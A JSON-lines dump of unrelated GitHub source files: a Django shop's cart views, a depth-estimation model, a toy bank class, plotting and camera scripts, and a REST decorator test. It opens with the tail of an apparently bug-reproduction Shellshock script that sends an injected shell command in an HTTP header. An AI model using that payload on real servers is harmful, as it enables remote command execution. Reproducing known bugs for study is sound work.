-al / );\"}\r\n conn.request(\"GET\", url, \"\", header)\r\n resp = conn.getresponse()\r\n print(resp.status, resp.reason)\r\n print(str(resp.read(), \"utf8\"))\r\nexcept http.client.HTTPException as e:\r\n print(e.__cause__)\r\n","repo_name":"elssm/Bug-Recurrence","sub_path":"docker/b_bash_shellshock1.py","file_name":"b_bash_shellshock1.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41498848566","text":"#bank\n#three method\n#account creation: name,account number,minimum balance\n#withdraw:amount,balance\n#deposit:amount1,balance1\n\nclass bank:\n bank_name=\"SBI\"\n def account_creation(self,name,acc_no):\n self.name=name\n self.accno=acc_no\n self.min=2000\n self.balance=self.min\n\n def deposit(self,amount2):\n self.amount2=amount2\n self.balance=self.balance+self.amount2\n print(self.amount2,\"credited from your account balance\",self.balance)\n print(\"total balance in your account\",bank.bank_name,self.accno,\"is\",self.balance)\n\n def withdraw(self,amount1):\n self.amount1=amount1\n self.balance=self.balance-self.amount1\n if(self.amount1<=self.balance):\n print(self.amount1,\"rupees debted to your account balane is\",self.balance,\"on your account number\",self.accno,)\n else:\n print(\"insufficient balance\")\n\n\nob=bank()\nob.account_creation(\"jl\",123)\nob.deposit(200)\nob.withdraw(250)\n","repo_name":"jitheshlaledk/python","sub_path":"advance python/oops concept/polymorphisam/po5.py","file_name":"po5.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21721258490","text":"import random\nfrom abc import ABC\nfrom functools import partial\n\nimport torch\n\nfrom vidar.arch.blocks.image.ViewSynthesis import ViewSynthesis\nfrom vidar.arch.models.BaseModel import BaseModel\nfrom vidar.arch.models.utils import make_rgb_scales, break_context, create_cameras\nfrom vidar.utils.data import get_from_dict\nfrom vidar.utils.depth import inv2depth\nfrom vidar.utils.tensor import interpolate, multiply_args\nfrom vidar.utils.types import is_str, is_tuple, is_list, is_dict\n\n\ndef fix_predictions(predictions):\n fixed_predictions = {}\n for key, val in predictions.items():\n if is_dict(val):\n fixed_predictions[key] = {k if is_tuple(k) else (k, 0): v for k, v in val.items()} \n return fixed_predictions\n\n\ndef curr_stereo(val):\n return is_str(val) and val.startswith('0')\n\n\nclass DepthFormerModel(BaseModel, ABC):\n \"\"\"\n Depthformer base model (https://arxiv.org/abs/2204.07616)\n\n Parameters\n ----------\n cfg : Config\n Configuration with parameters\n \"\"\"\n def __init__(self, cfg):\n super().__init__(cfg)\n\n self.set_attr(cfg.model, 'warp_context', None)\n self.set_attr(cfg.model, 'match_context', None)\n\n self.motion_masking = cfg.model.motion_masking\n self.matching_augmentation = cfg.model.matching_augmentation\n self.freeze_teacher_and_pose = cfg.model.freeze_teacher_and_pose\n\n self.view_synthesis = ViewSynthesis()\n\n self.interpolate_nearest = partial(\n interpolate, mode='nearest', scale_factor=None)\n\n self.set_attr(cfg.model, 'spatial_weight', [0.0, 0.0])\n self.set_attr(cfg.model, 'spatio_temporal_weight', [0.0, 0.0])\n self.set_attr(cfg.model, 'run_mono', True)\n self.set_attr(cfg.model, 'run_multi', True)\n\n self.set_attr(cfg.model, 'use_gt_pose', False)\n self.set_attr(cfg.model, 'use_gt_depth', False)\n self.set_attr(cfg.model, 'display', False)\n self.set_attr(cfg.model, 'mono_type', 'mono')\n self.set_attr(cfg.model, 'multi_temporal_only', False)\n\n self.set_attr(cfg.model, 'apply_consistency', True)\n\n @staticmethod\n def process_stereo(batch):\n \"\"\"Process batch to recover stereo / monocular information\"\"\"\n \n batch = {key: val for key, val in batch.items()}\n new_intrinsics = {0: batch['intrinsics'][0]}\n for key in batch['pose'].keys():\n if not is_str(key) and key != 0:\n new_intrinsics[key] = batch['intrinsics'][0]\n batch['intrinsics'] = new_intrinsics\n suffixes = ['', 'r', 's', 't', 'u', 'v']\n if batch['rgb'][0].dim() == 5:\n # Change RGB\n rgb_stereo = {}\n for key, val in batch['rgb'].items():\n rgb_stereo[key] = val[:, 0]\n for i in range(1, val.shape[1]):\n rgb_stereo['%d%s' % (key, suffixes[i])] = val[:, i]\n batch['rgb'] = rgb_stereo\n # Change pose\n if 'pose' in batch:\n pose_stereo = {}\n for key, val in batch['pose'].items():\n pose_stereo[key] = val[:, 0]\n for i in range(1, val.shape[1]):\n pose_stereo['%d%s' % (key, suffixes[i])] = val[:, i]\n batch['pose'] = pose_stereo\n # Change intrinsics\n if 'intrinsics' in batch:\n intrinsics_stereo = {}\n for key, val in batch['intrinsics'].items():\n intrinsics_stereo[key] = val[:, 0]\n for i in range(1, val.shape[1]):\n intrinsics_stereo['%d%s' % (key, suffixes[i])] = val[:, i]\n for key in batch['pose'].keys():\n if not is_str(key) and key != 0:\n for suffix in ['r', 's', 't', 'u', 'v']:\n if '0%s' % suffix in intrinsics_stereo.keys():\n intrinsics_stereo['%d%s' % (key, suffix)] = intrinsics_stereo['0%s' % suffix]\n batch['intrinsics'] = intrinsics_stereo\n return batch\n\n @staticmethod\n def get_stereo_pose(batch, pose, context):\n \"\"\"Get poses from stereo images\"\"\"\n for key in context:\n if key not in pose.keys() and curr_stereo(key):\n pose[key] = batch['pose'][key]\n return pose\n\n @staticmethod\n def pose_context(pose, context):\n \"\"\"Extract context poses from a pose dictionary\"\"\"\n for key in context:\n if not is_str(key):\n for key2 in list(pose.keys()):\n if curr_stereo(key2):\n new_key = '%d%s' % (key, key2[1:])\n if new_key in context:\n pose[new_key] = pose[key2] @ pose[key]\n return pose\n\n @staticmethod\n def conf_mask(depth1, depth2, thr=1.0):\n \"\"\"Calculate confidence masks\"\"\"\n mask1 = ((depth1 - depth2) / depth2).abs() < thr\n mask2 = ((depth2 - depth1) / depth1).abs() < thr\n return mask1 * mask2\n\n def forward(self, batch, epoch=0):\n \"\"\"Model forward pass\"\"\"\n\n tgt = (0, 0)\n\n mono_depth_string = 'mono_depth'\n multi_depth_string = 'multi_depth'\n\n for key in ['rgb', 'pose', 'intrinsics']:\n if key in batch:\n batch[key] = {k[0] if is_tuple(k) else k: v for k, v in batch[key].items()}\n \n predictions = {}\n\n batch = {key: val for key, val in batch.items()}\n batch['rgb'] = {key: val for key, val in batch['rgb'].items()}\n\n ### TRANSFORMER\n\n batch = self.process_stereo(batch)\n batch_rgb = batch['rgb']\n rgbs = make_rgb_scales(batch_rgb, ratio_scales=(0.5, 4))\n\n loss_auto_encoder = None\n rgbs_pseudo = rgbs\n\n ### Get images and contexts\n\n device = rgbs[0][0].device\n batch_size = rgbs[0][0].shape[0]\n\n rgb, rgb_context = break_context(\n rgbs_pseudo, tgt=0, ctx=self.match_context, scl=0, stack=True)\n\n rgbs0 = {key: val[0] for key, val in rgbs.items()}\n\n ### Warp pose\n\n warp_context_pose = [idx for idx in self.warp_context if not is_str(idx)]\n if not self.use_gt_pose:\n pose_warp = self.compute_pose(\n rgbs0, self.networks['pose'],\n ctx=warp_context_pose, invert=True)\n else:\n pose_warp = {key: batch['pose'][key] for key in warp_context_pose}\n\n pose_warp = self.get_stereo_pose(batch, pose_warp, self.warp_context)\n pose_warp = self.pose_context(pose_warp, self.warp_context)\n\n ### Match pose\n\n if self.run_multi:\n match_context_pose = [idx for idx in self.match_context if not is_str(idx)]\n if not self.use_gt_pose:\n with torch.no_grad():\n pose_match = self.compute_pose(\n rgbs0, self.networks['pose'],\n ctx=match_context_pose, invert=True)\n else:\n pose_match = {key: batch['pose'][key] for key in match_context_pose}\n pose_match = self.get_stereo_pose(batch, pose_match, self.match_context)\n pose_match = self.pose_context(pose_match, self.match_context)\n else:\n pose_match = None\n\n ### Augmentation Mask\n\n augmentation_mask = torch.zeros([batch_size, 1, 1, 1], device=device).float()\n if self.run_multi:\n if self.training and self.matching_augmentation:\n for batch_idx in range(batch_size):\n rand_num = random.random()\n if rand_num < 0.25:\n rgb_context[batch_idx] = \\\n torch.stack([rgb[batch_idx] for _ in self.match_context], 0)\n augmentation_mask[batch_idx] += 1\n elif rand_num < 0.5:\n pose_match[-1][batch_idx] *= 0\n augmentation_mask[batch_idx] += 1\n\n ### Warp cameras\n\n intrinsics = batch['intrinsics']\n cams_warp = create_cameras(rgbs[0][0], intrinsics, pose_warp)\n\n ### Monocular depth\n\n if self.run_mono:\n\n if self.mono_type == 'multi':\n ctx = [ctx for ctx in self.match_context if curr_stereo(ctx)]\n pose_match2 = {key: val for key, val in pose_match.items() if curr_stereo(key)}\n cams_match2 = create_cameras(rgbs[0][0], intrinsics, pose_match2)\n rgb2, rgb_context2 = break_context(\n rgbs, tgt=0, ctx=ctx, scl=0, stack=True)\n mono_depth_output = self.networks[mono_depth_string](\n rgb=rgb2, rgb_context=rgb_context2, cams=cams_match2, intrinsics=intrinsics, mode='multi')\n predictions['depth_lowest_mono'] = {\n tgt: [inv2depth(mono_depth_output['lowest_cost'].unsqueeze(1)).detach()]}\n predictions['volume_mono'] = {\n tgt: mono_depth_output['cost_volume']\n }\n predictions['mask_confidence_mono'] = {\n tgt: [mono_depth_output['confidence_mask'].unsqueeze(1)]\n }\n elif self.mono_type == 'mono':\n mono_depth_output = self.networks[mono_depth_string](\n rgb=rgb, intrinsics=intrinsics)\n else:\n raise ValueError\n\n if self.use_gt_depth:\n depth_mono = [batch['depth'][0][:, 0]]\n else:\n depth_mono = mono_depth_output['depths']\n \n predictions['depth_mono'] = {tgt: depth_mono}\n else:\n mono_depth_output = depth_mono = None\n\n ### Multi-frame depth\n\n if self.run_multi:\n\n if self.multi_temporal_only:\n ctx = [ctx for ctx in self.match_context if not curr_stereo(ctx)]\n pose_match3 = {key: val for key, val in pose_match.items() if not is_str(key)}\n cams_match3 = create_cameras(rgbs[0][0], intrinsics[0], pose_match3)\n rgb3, rgb_context3 = break_context(\n rgbs_pseudo, tgt=0, ctx=ctx, scl=0, stack=True)\n multi_depth_output = self.networks[multi_depth_string](\n rgb=rgb3, rgb_context=rgb_context3, cams=cams_match3,\n intrinsics=intrinsics, networks=self.networks,\n )\n else:\n cams_match = create_cameras(rgbs[0][0], intrinsics, pose_match)\n multi_depth_output = self.networks[multi_depth_string](\n rgb=rgb, rgb_context=rgb_context, cams=cams_match,\n intrinsics=intrinsics, networks=self.networks,\n )\n\n if self.use_gt_depth:\n depth_multi = [batch['depth'][0][:, 0]]\n else:\n depth_multi = multi_depth_output['depths']\n\n predictions['depth_multi'] = {tgt: depth_multi}\n predictions['volume_multi'] = {tgt: multi_depth_output['cost_volume']}\n predictions['depth_lowest_multi'] = {\n tgt: [inv2depth(d.unsqueeze(1)).detach() for d in multi_depth_output['lowest_cost']]}\n predictions['mask_confidence_multi'] = {\n tgt: [multi_depth_output['confidence_mask'].unsqueeze(1)]}\n\n if 'ssim_lowest_cost' in multi_depth_output:\n predictions['depth_lowest_ssim'] = {\n tgt: [inv2depth(multi_depth_output['ssim_lowest_cost'].unsqueeze(1)).detach()]}\n\n else:\n\n multi_depth_output = depth_multi = None\n\n ### Confidence mask\n\n if self.run_multi:\n shape = rgbs0[0].shape[-2:]\n lowest_cost = self.interpolate_nearest(\n multi_depth_output['lowest_cost'][0].unsqueeze(1), size=shape).squeeze(1).to(device)\n confidence_mask = self.interpolate_nearest(\n multi_depth_output['confidence_mask'].unsqueeze(1), size=shape).to(device)\n if self.motion_masking and self.run_mono:\n\n if 'regression' in multi_depth_output:\n inv_depth_low_res = multi_depth_output['regression']['disp_pred_low_res']\n inv_depth_low_res = self.interpolate_nearest(\n inv_depth_low_res.unsqueeze(1), size=shape).squeeze(1).to(device)\n lowest_cost = inv_depth_low_res\n\n matching_depth = 1. / lowest_cost.unsqueeze(1).to(device)\n confidence_mask *= self.conf_mask(matching_depth, depth_mono[0])\n # predictions['mask_confidence'] = {0: [confidence_mask.unsqueeze(1)]}\n confidence_mask = confidence_mask * (1 - augmentation_mask)\n else:\n confidence_mask = None\n\n ########## LOSSES\n\n loss, metrics = [], {}\n mono_metrics, multi_metrics = {}, {}\n mono_visuals, multi_visuals = {}, {}\n\n valid_mask = get_from_dict(batch, 'mask')\n if valid_mask is not None:\n valid_mask = valid_mask[:, 0]\n\n predictions['output_mono'] = fix_predictions(mono_depth_output)\n predictions['output_multi'] = fix_predictions(multi_depth_output)\n\n if 'depth_regr' in multi_depth_output:\n predictions['depth_regr'] = {\n (0, 0): [d.unsqueeze(1) for d in multi_depth_output['depth_regr']]\n }\n\n if 'cal' in self.networks['multi_depth'].networks.keys():\n cal = self.networks['multi_depth'].networks['cal']\n depth1 = depth_multi[0]\n depth2 = predictions['depth_regr'][0][0]\n from vidar.utils.tensor import interpolate\n depth2 = interpolate(depth2, size=depth1.shape[-2:], scale_factor=None, mode='nearest')\n predictions['depth_regr'][0].insert(0, cal(depth1, depth2, rgb))\n\n if not self.training:\n return {\n 'predictions': predictions,\n }\n\n gt_depth = None if 'depth' not in batch else batch['depth'][0]\n\n ### Temporal losses\n\n cams_warp_temp = {key: val for key, val in cams_warp.items()\n if not curr_stereo(key) or key == 0}\n\n if len(cams_warp_temp) > 0 \\\n and self.spatial_weight[0] < 1.0 \\\n and self.spatio_temporal_weight[0] < 1.0:\n\n if self.run_mono:\n mono_loss_temp, mono_metrics_temp, mono_visuals_temp = \\\n self.compute_loss_and_metrics(\n rgbs, depth_mono, cams_warp_temp, logvar=None, valid_mask=valid_mask\n )\n loss.append((1 - self.spatial_weight[0]) *\n (1 - self.spatio_temporal_weight[0]) * mono_loss_temp)\n mono_metrics.update(**mono_metrics_temp)\n mono_visuals.update(**{f'temp_{key}': val for key, val in mono_visuals_temp.items()})\n metrics.update({f'mono_temp_{key}': val for key, val in mono_metrics_temp.items()})\n\n if len(cams_warp_temp) > 0 \\\n and self.spatial_weight[1] < 1.0 \\\n and self.spatio_temporal_weight[1] < 1.0:\n\n if self.run_multi:\n multi_loss_temp, multi_metrics_temp, multi_visuals_temp = \\\n self.compute_loss_and_metrics(\n rgbs, depth_multi, cams_warp_temp, logvar=None,\n depths_consistency=depth_mono if self.apply_consistency else None,\n confidence_mask=confidence_mask if self.apply_consistency else None,\n valid_mask=valid_mask,\n )\n loss.append((1 - self.spatial_weight[1]) *\n (1 - self.spatio_temporal_weight[1]) * multi_loss_temp)\n multi_metrics.update(**multi_metrics_temp)\n multi_visuals.update(**{f'temp_{key}': val for key, val in multi_visuals_temp.items()})\n metrics.update({f'multi_temp_{key}': val for key, val in multi_metrics_temp.items()})\n\n ### Spatial Losses\n\n cams_warp_spat = {key: val for key, val in cams_warp.items()\n if curr_stereo(key) or key == 0}\n\n if len(cams_warp_spat) > 0 \\\n and self.spatial_weight[0] > 0.0 \\\n and self.spatio_temporal_weight[0] < 1.0:\n\n if self.run_mono:\n mono_loss_spat, mono_metrics_spat, mono_visuals_spat = \\\n self.compute_loss_and_metrics(\n rgbs, depth_mono, cams_warp_spat, logvar=None, valid_mask=valid_mask\n )\n loss.append(self.spatial_weight[0] *\n (1 - self.spatio_temporal_weight[0]) * mono_loss_spat)\n mono_metrics.update(**mono_metrics_spat)\n mono_visuals.update(**{f'spat_{key}': val for key, val in mono_visuals_spat.items()})\n metrics.update({f'mono_spat_{key}': val for key, val in mono_metrics_spat.items()})\n\n if len(cams_warp_spat) > 0 \\\n and self.spatial_weight[1] > 0.0 \\\n and self.spatio_temporal_weight[1] < 1.0:\n\n if self.run_multi:\n multi_loss_spat, multi_metrics_spat, multi_visuals_spat = \\\n self.compute_loss_and_metrics(\n rgbs, depth_multi, cams_warp_spat, logvar=None,\n depths_consistency=depth_mono if self.apply_consistency else None,\n valid_mask=valid_mask,\n confidence_mask=confidence_mask if self.apply_consistency else None\n )\n loss.append(self.spatial_weight[1] *\n (1 - self.spatio_temporal_weight[1]) * multi_loss_spat)\n multi_metrics.update(**multi_metrics_spat)\n multi_visuals.update(**{f'spat_{key}': val for key, val in multi_visuals_spat.items()})\n metrics.update({f'multi_spat_{key}': val for key, val in multi_metrics_spat.items()})\n\n ### Spatio-temporal Losses\n\n if self.spatio_temporal_weight[0] > 0.0:\n\n if self.run_mono:\n mono_loss_both, mono_metrics_both, mono_visuals_both = \\\n self.compute_loss_and_metrics(\n rgbs, depth_mono, cams_warp, logvar=None, valid_mask=valid_mask\n )\n loss.append(self.spatio_temporal_weight[0] * mono_loss_both)\n mono_metrics.update(**mono_metrics_both)\n mono_visuals.update(**{f'both_{key}': val for key, val in mono_visuals_both.items()})\n metrics.update({f'mono_both_{key}': val for key, val in mono_metrics_both.items()})\n\n if self.spatio_temporal_weight[1] > 0.0:\n\n if self.run_multi:\n multi_loss_both, multi_metrics_both, multi_visuals_both = \\\n self.compute_loss_and_metrics(\n rgbs, depth_multi, cams_warp, logvar=None,\n depths_consistency=depth_mono if self.apply_consistency else None,\n confidence_mask=confidence_mask if self.apply_consistency else None,\n valid_mask=valid_mask,\n )\n loss.append(self.spatio_temporal_weight[1] * multi_loss_both)\n multi_metrics.update(**multi_metrics_both)\n multi_visuals.update(**{f'both_{key}': val for key, val in multi_visuals_both.items()})\n metrics.update({f'multi_both_{key}': val for key, val in multi_metrics_both.items()})\n\n ###\n\n if loss_auto_encoder is not None:\n loss.append(loss_auto_encoder)\n\n if 'depth_regr' in predictions:\n regr_loss, regr_metrics, regr_visuals = \\\n self.compute_loss_and_metrics(\n rgbs, predictions['depth_regr'][0], cams_warp, logvar=None, valid_mask=valid_mask\n )\n loss.append(regr_loss)\n\n depth_pred = [predictions['depth_regr'][0][0]]\n depth_gt = depth_mono[0].detach()\n supervision_output = self.losses['supervision'](depth_pred, depth_gt)\n loss.append(supervision_output['loss'])\n\n loss = sum(loss)\n\n metrics.update({\n 'min_depth_bin': self.networks[multi_depth_string].networks['encoder'].min_depth_bin,\n 'max_depth_bin': self.networks[multi_depth_string].networks['encoder'].max_depth_bin,\n })\n\n visuals = {\n **{f'mono_{key}': val for key, val in mono_visuals.items()},\n **{f'multi_{key}': val for key, val in multi_visuals.items()},\n }\n\n if self.run_mono and self.run_multi and \\\n self.training and epoch < self.freeze_teacher_and_pose:\n self.networks[multi_depth_string].networks['encoder'].update_adaptive_depth_bins(depth_mono[0])\n if 'lowest_cost' in mono_depth_output:\n self.networks[mono_depth_string].networks['encoder'].min_depth_bin = \\\n self.networks[multi_depth_string].networks['encoder'].min_depth_bin\n self.networks[mono_depth_string].networks['encoder'].max_depth_bin = \\\n self.networks[multi_depth_string].networks['encoder'].max_depth_bin\n\n return {\n 'loss': loss,\n 'metrics': metrics,\n 'visuals': visuals,\n 'predictions': predictions,\n }\n\n def compute_loss_and_metrics(self, rgbs, depths, cams, depths_consistency=None,\n logvar=None, valid_mask=None, confidence_mask=None):\n \"\"\"\n Compute model loss and metrics\n\n Parameters\n ----------\n rgbs : list[torch.Tensor]\n Input RGB images\n depths : list[torch.Tensor]\n Predicted depth maps\n cams : list[Camera]\n Image cameras\n depths_consistency : list[torch.Tensor]\n Depth maps used for consistency loss calculation\n logvar : list[torch.Tensor]\n Predicted log-variance for depth maps\n valid_mask : list[torch.Tensor]\n Valid mask for masking out pixels\n confidence_mask : list[torch.Tensor]\n Confidence mask for consistency calculation\n\n Returns\n -------\n loss : torch.Tensor\n Final loss\n metrics : Dict\n Dictionary with calculated metrics\n visuals : Dict\n Dictionary with calculated visualizations\n \"\"\"\n num_scales = self.get_num_scales(depths)\n\n rgb_tgt = [rgbs[0][i] for i in range(num_scales)]\n rgb_ctx = [[rgbs[j][i] for j in cams.keys() if j != 0] for i in range(num_scales)]\n\n loss, metrics, visuals = [], {}, {}\n\n if 'reprojection' in self.losses:\n synth = self.view_synthesis(rgbs, depths, cams, return_masks=True)\n reprojection_mask = multiply_args(valid_mask, confidence_mask)\n reprojection_output = self.losses['reprojection'](\n rgb_tgt, rgb_ctx, synth['warps'], logvar=logvar,\n valid_mask=reprojection_mask, overlap_mask=synth['masks'])\n loss.append(reprojection_output['loss'])\n metrics.update(reprojection_output['metrics'])\n visuals['synth'] = synth\n visuals['reproj'] = reprojection_output\n\n if 'smoothness' in self.losses:\n smoothness_output = self.losses['smoothness'](rgb_tgt, depths)\n loss.append(smoothness_output['loss'])\n metrics.update(smoothness_output['metrics'])\n\n if 'consistency' in self.losses and depths_consistency is not None:\n consistency_output = self.losses['consistency'](\n depths_consistency, depths,\n confidence_mask=reprojection_output['mask'],\n valid_mask=valid_mask\n )\n loss.append(consistency_output['loss'])\n metrics.update(consistency_output['metrics'])\n\n loss = sum(loss)\n\n return loss, metrics, visuals\n","repo_name":"TRI-ML/vidar","sub_path":"vidar/arch/models/depth/DepthFormerModel.py","file_name":"DepthFormerModel.py","file_ext":"py","file_size_in_byte":24095,"program_lang":"python","lang":"en","doc_type":"code","stars":404,"dataset":"github-code","pt":"31"} +{"seq_id":"5542756435","text":"from django.conf import settings\nfrom django.contrib import messages\nfrom django.http import JsonResponse\nfrom django.shortcuts import render, redirect, HttpResponseRedirect\n\nfrom .models import Cart, CartItem\nfrom accounts.forms import LoginForm, GuestForm\nfrom accounts.models import GuestEmail\nfrom addresses.models import Address\nfrom addresses.forms import AddressForm\nfrom billing.models import BillingProfile\nfrom orders.models import Order\nfrom products.models import Product, Variation\n\nSTRIPE_PUBLISH = settings.STRIPE_LIVE_PUBLIC_KEY or None\n\ndef cart_detail_api_view(request):\n cart_obj, new_obj = Cart.objects.new_or_get(request)\n products = [{\n \"id\": x.product.id,\n \"name\": x.product.name, \n \"price\": x.product.price,\n \"quantity\": x.quantity,\n } \n for x in cart_obj.cartitem_set.all()]\n context = {\n \"products\": products,\n \"subtotal\": cart_obj.subtotal,\n \"total\": cart_obj.total,\n }\n return JsonResponse(context)\n\ndef cart_home(request):\n request.session['cart'] = True\n cart_obj, new_obj = Cart.objects.new_or_get(request)\n context = {'cart': cart_obj,}\n template = \"carts/home.html\"\n\n return render(request, template, context)\n\n\n\n\ndef cart_update(request):\n if request.method == \"POST\":\n product_id = request.POST.get('product_id')\n cart_item = request.POST.get('cartitemId') or None\n qty = request.POST.get('qty') or None\n notes = {}\n product_var = []\n current_page = request.META.get('HTTP_REFERER')\n cart_obj, new_obj = Cart.objects.new_or_get(request)\n request.session['cart_id'] = cart_obj.id\n \n try:\n color = request.POST.get('color')\n v = Variation.objects.get(id=color)\n product_var.append(v)\n except:\n pass\n try:\n size = request.POST.get('size')\n v = Variation.objects.get(id=size)\n product_var.append(v)\n except:\n pass\n if int(qty) == 0:\n cart_item_product = CartItem.objects.filter(id=cart_item)\n if cart_item is not None:\n item_delted = cart_item_product.first().product or \"\"\n else:\n cart_item_product = \"\"\n if cart_item_product != \"\":\n messages.success(request, f\"Product {item_delted} was successfully deleted.\")\n cart_item_product.delete()\n cart_obj.save()\n else:\n return redirect(current_page)\n if product_id: # is not None:\n try:\n product_obj = Product.objects.get(id=product_id)\n except Product.DoesNotExist:\n messages.error(request, \"Product is momentarely not available. Please try again later.\")\n return redirect(\"carts:home\")\n \n cart_item_obj = CartItem.objects.create(cart=cart_obj, product=product_obj)\n \n if int(qty) > 0:\n if len(product_var) > 0:\n cart_item_obj.variation.clear()\n cart_item_obj.variation.add(*product_var)\n cart_item_obj.quantity = qty\n cart_item_obj.notes = notes\n cart_item_obj.save()\n added = True\n messages.info(request, f\"Product {cart_item_obj.product.title} was successfully added.\")\n\n cart_obj.save() # called to update the total and subtotal prices\n \n if request.is_ajax():\n jason_data = {\n \"added\": added,\n \"removed\": not added,\n \"cartItemCount\": cart_obj.cartitem_set.all().count(),\n }\n return JsonResponse(jason_data)\n request.session['cart_items'] = cart_obj.cartitem_set.all().count()\n if request.session['cart_items'] <= 0:\n return redirect('/products/')\n return redirect(current_page)\n\ndef checkout_home(request):\n cart_obj, cart_created = Cart.objects.new_or_get(request)\n order_obj = None\n if cart_created or cart_obj.cartitem_set.all().count() == 0:\n return redirect(\"carts:home\")\n \n billing_profile = None\n login_form = LoginForm(request=request)\n guest_form = GuestForm(request=request)\n address_form = AddressForm()\n billing_address_id = request.session.get('billing_address_id', None)\n\n shipping_address_required = not cart_obj.is_digital\n\n shipping_address_id = request.session.get('shipping_address_id', None)\n\n \n billing_profile, billing_profile_created = BillingProfile.objects.new_or_get(request)\n address_qs = None\n has_card = False\n if billing_profile is not None:\n if request.user.is_authenticated:\n #\n # get billing profile for reusable addresses\n #\n address_qs = Address.objects.filter(billing_profile=billing_profile)\n #\n #\n #\n order_obj, created = Order.objects.new_or_get(billing_profile, cart_obj )\n if shipping_address_id is not None:\n order_obj.shipping_address = Address.objects.get(id=shipping_address_id)\n del request.session['shipping_address_id']\n if billing_address_id is not None:\n order_obj.billing_address = Address.objects.get(id=billing_address_id)\n del request.session['billing_address_id']\n if billing_address_id or shipping_address_id:\n order_obj.save()\n \n has_card = billing_profile.has_card\n\n if request.method == \"POST\":\n is_prepared = order_obj.check_done()\n if is_prepared:\n did_charge, crg_msg = billing_profile.charge(order_obj)\n if did_charge:\n order_obj.mark_paid()\n request.session['cart_items'] = 0\n del request.session['cart_id']\n if not billing_profile.user:\n billing_profile.set_cards_inactive()\n return redirect(\"carts:success\")\n else:\n return redirect(\"carts:checkout\")\n \n context = {\n 'object': order_obj,\n 'billing_profile': billing_profile,\n 'login_form': login_form,\n 'guest_form': guest_form,\n 'address_form': address_form,\n 'address_qs': address_qs,\n 'has_card': has_card,\n 'publishable_key': STRIPE_PUBLISH,\n 'shipping_address_required': shipping_address_required,\n 'cart': cart_obj,\n }\n template = 'carts/checkout.html'\n return render(request, template, context)\n\ndef checkout_done_view(request):\n context = {}\n template = 'carts/checkout-done.html'\n return render(request, template, context)\n\n","repo_name":"masterpiece10/tc_webshop_v0.9","sub_path":"carts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5422973336","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nfig = plt.figure(num='Population density', #название\n #figsize=(4.5, 2.), # Кортеж размеров рисунка (width, height) – к сожалению, только в дюймах\n #facecolor='red', # Цвет фона рисунка\n #dpi=100., # Разрешение рисунка в точках на дюйм. Не трогать\n edgecolor='red') # Цвет границ рисунка. что-то не работает\nax = fig.add_subplot()\n\n\nx = np.linspace(-2, 2, 10)\nline_cosh, = ax.plot(x, np.cosh(x), c=(0.3, 1., 0.), marker='v',\n markerfacecolor=(0., 0.5, 0.5),\n markeredgecolor=(1., 0., 0.))\n\nline_quad, = ax.plot(x, 1 + x**2 / 2, c='tab:purple', marker='^')\n\nax.set_xlim(left=-2, right=2) # Установлены границы оси x: от -1 до 2. Можно записать картежем (-1, 2)\nax.set_ylim(bottom=1, top=4) # ymin=1: график будет \"отсечен\" по нижней границе bottom. Если top < bottom, то график переворачивается\nline_quad.set_dashes([2, 4, 8, 4, 2, 4]) # Шаблон точка-штрих-точка.\n#ax.yaxis.grid(True)\n#ax.grid(True)\nax.xaxis.grid(True , which='minor', c='b')\nplt.show()","repo_name":"PavlovEgor/3semesterMIPT","sub_path":"KristianKhill/grafics/7.1.1.py","file_name":"7.1.1.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27651756146","text":"from __future__ import absolute_import, print_function\n\nimport json\n\nfrom invenio_rest import InvenioREST\nfrom invenio_rest.decorators import require_content_types\n\n\ndef test_require_content_types(app):\n \"\"\"Error handlers view.\"\"\"\n InvenioREST(app)\n\n @app.route(\"/\", methods=['POST'])\n @require_content_types('application/json', 'text/plain')\n def test_view():\n return \"OK\"\n\n with app.test_client() as client:\n res = client.post(\"/\", content_type='application/json', data=\"{}\")\n assert res.status_code == 200\n res = client.post(\"/\", content_type='text/plain', data=\"test\")\n assert res.status_code == 200\n res = client.post(\"/\", content_type='application/xml', data=\"\")\n assert res.status_code == 415\n data = json.loads(res.get_data(as_text=True))\n assert data['status'] == 415\n assert 'application/json' in data['message']\n assert 'text/plain' in data['message']\n","repo_name":"Panos512/invenio-rest","sub_path":"tests/test_decorators.py","file_name":"test_decorators.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"24020861391","text":"from picamera.array import PiRGBArray\nfrom picamera import PiCamera\nimport time\nimport cv2\nimport numpy as np\nfrom Time import Time\nimport threading\nfrom queue import Queue\nfrom http.client import HTTPConnection\nimport RPi.GPIO as GPIO\nfrom decision import *\nfrom detect import detect_markers\n\n# Information of picam calibration \nDIM=(320, 240)\nK=np.array([[132.13704662178574, 0.0, 166.0686598959872], [0.0, 133.16643727381444, 123.27563566060049], [0.0, 0.0, 1.0]])\nD=np.array([[-0.07388057626177186], [0.037920859225125836], [-0.030619490583373123], [0.006819370459857302]])\n\n# initialize the camera and grab a reference to the raw camera capture\ncamera = PiCamera()\ncamera.resolution = (320, 240)\n#flip\ncamera.vflip = True\ncamera.hflip = True\n#shutterspeed\ncamera.framerate = 32\nrawCapture = PiRGBArray(camera, size=camera.resolution)\n# allow the camera to warmup\ntime.sleep(0.1)\n\ndef captured(img):\n cv2.imwrite(time.strftime('%m%d%H%M%S')+'.jpg', img)\n\n\ndef undistort(img):\n map1, map2 = cv2.fisheye.initUndistortRectifyMap(K, D, np.eye(3), K, DIM, cv2.CV_16SC2)\n img = cv2.remap(img, map1, map2, interpolation=cv2.INTER_LINEAR, borderMode=cv2.BORDER_CONSTANT)\n return img\n\ndef main():\n\n for frame in camera.capture_continuous(rawCapture, format=\"bgr\", use_video_port=True):\n # grab the raw NumPy array representing the image, then initialize the timestamp\n # and occupied/unoccupied text\n\n image = frame.array\n\n #undistort\n undistorted_image = undistort(image)\n\n#--------------motor control--------------\n\n\n #AR marker\n markers = detect_markers(undistorted_image)[0]\n 